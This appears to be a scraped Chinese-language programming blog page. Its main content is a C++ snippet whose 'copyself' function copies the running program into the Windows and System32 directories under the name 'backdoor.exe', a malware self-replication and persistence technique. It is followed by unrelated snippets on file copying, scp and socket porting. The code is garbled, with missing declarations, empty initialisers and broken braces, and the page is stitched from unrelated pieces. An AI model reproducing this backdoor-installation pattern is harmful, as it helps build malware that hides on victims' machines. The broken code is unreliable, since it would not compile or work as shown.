#include "iostream"
#include "windows.h"
using namespace std;
/* getmodulefilename( //獲得自身程式所在路徑
hmodule null, //在獲得自身程式時使用null
lptstr lpfilename, //儲存程式自身所在路徑
dword nsize //指定緩衝區的大小
);getwindowsdirectory( //獲得windows目錄
lptstr lpbuffer, //儲存windows目錄路徑
uint nsize //指定緩衝區的大小
);getsystemdirectory( //獲得系統目錄
lptstr lpbuffer, //儲存系統目錄路徑
uint nsize //指定緩衝區的大小
);bool copyfile(
lptstr lpexistingfilename, //原檔案路徑
lptstr lpnewfilename, //該引數指向乙個新檔案的位址
bool bfailifexists //true 表示目的檔案已存在,複製失敗,false 強行覆蓋原檔案
);*/void copyself()
; //儲存windows目錄的路徑
char szwindowspath[max_path] = ;
//儲存系統目錄的路徑
char szsystempath[max_path] = ;
//臨時路徑變數
char sztemppath[max_path] = ;
getmodulefilename(null, szselfname, max_path); //獲得自身程式所在路徑
getwindowsdirectory(szwindowspath, max_path); //獲得windows目錄
getsystemdirectory(szsystempath, max_path); //獲得系統目錄
strcat(szwindowspath, "\\backdoor.exe");
strcat(szsystempath, "\\backdoor.exe");
copyfile(szselfname, szwindowspath, false); //拷貝檔案
copyfile(szselfname, szsystempath, false);
}int main()
使用windows API複製檔案到指定目錄
不知道為啥,在string後面必須要加 0 不然,有的 複製成功,有的 複製失敗 string sfrom currtemplatepart getpartpath currtemplatepart getppartmain getpartname sfrom sfrom 0 idirection ...
scp複製windows檔案到遠端伺服器的目錄
scp e t.jsp root ip home pif 從 本地 複製到 遠端 scp rp path filename username remoteip path scp home daisy full.tar.gz root 172.19.2.75 home root 然後會提示你輸入另外那...
Socket程式從windows移植到linux下
1 標頭檔案 windows下winsock.h或winsock2.h linux下netinet in.h 大部分都在這兒 unistd.h close函式在這兒 sys socket.h 在in.h裡已經包含了,可以省了 2 初始化 windows下需要用wsastartup啟動ws2 32.l...